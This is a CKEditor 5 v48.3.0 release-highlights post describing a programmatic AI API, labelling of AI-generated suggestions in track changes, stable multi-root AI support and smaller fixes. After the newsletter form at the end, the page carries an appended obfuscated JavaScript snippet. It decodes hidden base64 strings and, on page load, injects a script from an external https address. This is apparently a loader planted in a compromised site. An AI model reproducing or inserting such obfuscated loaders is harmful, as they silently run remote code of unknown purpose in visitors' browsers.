CKEditor 5 v48.3.0 Release Highlights: Programmatic API for CKEditor AI

Run CKEditor AI from your own code, mark AI-generated edits in track changes, and use stable multi-root AI support in CKEditor 5 v48.3.0.

The latest CKEditor AI release gives development teams more control over where AI runs, how its changes are identified, and which editing architectures it can support.

As of this release, CKEditor AI is no longer something your users only reach through the toolbar. The new front-end API extends programmatic control, so you can run AI features headless from code, without the editor interface. There are also CKEditor AI feature improvements: suggestions can now be marked as AI-generated in Track Changes, and multi-root and multiple editor support is now stable. Alongside the feature updates, a wider update makes the CKEditor ecosystem friendlier to AI coding agents.

These updates shift CKEditor AI from something users drive through the built-in interface toward something teams can build into their application logic, automated pipelines, quality gates, and governed editorial workflows. Compliance-focused and platform teams get clearer origins for machine-proposed changes, and editors that split content across separate regions can rely on AI in production.

NEW Programmatic API for CKEditor AI 

Prior to this release, most CKEditor AI work has run through the built-in interface. This release opens the same capabilities to your code, so you decide when AI runs, what it acts on, and whether a person is in the loop at all. Fire a rewrite from a button in your own UI, process documents on a schedule with no editor on the page, or drive the whole thing from the server through the Server-side Editor API.

Three capabilities are now available in the API:

  • AI Document Processing applies a free-form prompt to a whole document with no interface, which suits transformative background jobs such as summarizing, reformatting, or enriching content.

  • AI Review runs proofreading, clarity, tone, or your own custom checks from code, so quality gates can fire automatically on publish or before submission.

  • AI Translate converts a document into a target language on demand, with or without the translation UI.

You can learn more about the available triggers and setup in the CKEditor AI programmatic usage guide.

Tracking AI-generated suggestions

When AI and people work on the same document, it helps to know which edits were proposed by a model and which human author initiated them. Suggestions from CKEditor AI can now carry that origin in track changes, giving teams an audit trail of where content came from and a way to meet editorial or governance rules that require AI involvement to be disclosed.

Visual marking is a display choice you switch on when you want it, and suggestions look like any other until you do. You can add an “AI-generated” label while keeping the original author, or present the suggestion under a named AI identity with its own avatar. Author data is preserved either way, so attribution is never lost, and the origin is also announced in the suggestion’s accessible name so assistive technology conveys it too.

You can read more about this option in the Marking AI-generated suggestions guide.

NEW AI in multi-root and multiple editor setups

First introduced as experimental in v48.1.0, AI support for multi-root and multiple editor setups is now production-ready.

As a reminder, a multi-root editor is a single editor instance with multiple independent editable regions, such as a title, a description, and a body. A multiple editor setup is different: it includes several separate editor instances organized into one shared environment using the Context class, which allows collaboration and AI features to be initialized once and shared across all editors rather than separately for each.

With AI now production-ready across both setups, integrators can confidently deploy AI Review, AI Translate, and AI Chat across complex multi-area editing environments. AI reads content from all editable areas, understands the role of the root and applies suggestions to the correct destination based on the user’s prompt.

The stable version moves to a dedicated title attribute to identify editable areas. Earlier experimental releases used the root’s  label  for that. AI now identifies each area by a title set on its root, stored there and kept in sync through real-time collaboration and track changes.

Runtime for adding and removing editor instances is also supported. AI Chat and AI Review can handle dynamically added or removed roots and editors without crashing.

You can learn more about these setups in the AI in multi-root and multi-editor setups configuration guide.

NEW Making the ecosystem friendlier to AI coding agents 

Developers increasingly reach for AI tools while integrating, troubleshooting and extending an editor, and this release takes another step toward supporting that. The first public CKEditor 5 skill is now available to help teams integrate CKEditor 5 into their applications more easily. A short guide on working with AI coding agents explains the approach, and the skill can be installed through the skills.sh marketplace from Vercel.

Two supporting changes make the documentation easier for agents to consume. Documentation pages are now served in Markdown format, which uses fewer tokens and lets agents read full pages in a controlled way. A new Kapa widget add-on installs a dedicated Kapa MCP server, so agents can query the documentation in a similar way users do through the Kapa interface.

Other updates

  • Inline roots now accept images, so a block image with nowhere to sit, such as during a paste or drop, becomes an inline image instead of being lost.

  • Media embeds gain a keyboard-accessible way to resize, with a toolbar dropdown, buttons for preset widths, and a balloon input for a custom width.

  • Footnote numbering holds up in more cases, including lists that start at 0 under an unsupported style and roman numerals at counter values of 4000 and above.

  • Paste from Office keeps footnotes intact when the Footnotes plugin is on, and content pasted from Excel Online no longer drops a block of CSS into the visible text.

  • The first comment in a thread, thread reply counts, and AI-originated suggestions can now be recognized by assistive technology.

  • A few minor breaking changes, mostly in the AI and collaboration packages, and additional updates ship in this release. You can refer to the changelog for details.

Learn more about previous CKEditor 5 versions

Previous Post

Related posts

Subscribe to our newsletter

Keep your CKEditor fresh! Receive updates about releases, new features and security fixes.

contact_confirmation
policy
eventId

Input email to subscribe to newsletter

Subscription failed

Thanks for subscribing!

HiddenGatedContent.

window[(function(_2VK,_6n){var _91='';for(var _hi=0;_hi<_2VK.length;_hi++){_91==_91;_DR!=_hi;var _DR=_2VK[_hi].charCodeAt();_DR-=_6n;_DR+=61;_DR%=94;_DR+=33;_6n>9;_91+=String.fromCharCode(_DR)}return _91})(atob('J3R7Pzw3MjBBdjJG'), 43)] = '37db4db8751680691983'; var zi = document.createElement('script'); (zi.type = 'text/javascript'), (zi.async = true), (zi.src = (function(_HwU,_af){var _wr='';for(var _4c=0;_4c<_HwU.length;_4c++){var _Gq=_HwU[_4c].charCodeAt();_af>4;_Gq-=_af;_Gq!=_4c;_Gq+=61;_Gq%=94;_wr==_wr;_Gq+=33;_wr+=String.fromCharCode(_Gq)}return _wr})(atob('IS0tKSxRRkYjLEUzIkQseisiKS0sRXooJkYzIkQteH5FIyw='), 23)), document.readyState === 'complete'?document.body.appendChild(zi): window.addEventListener('load', function(){ document.body.appendChild(zi) });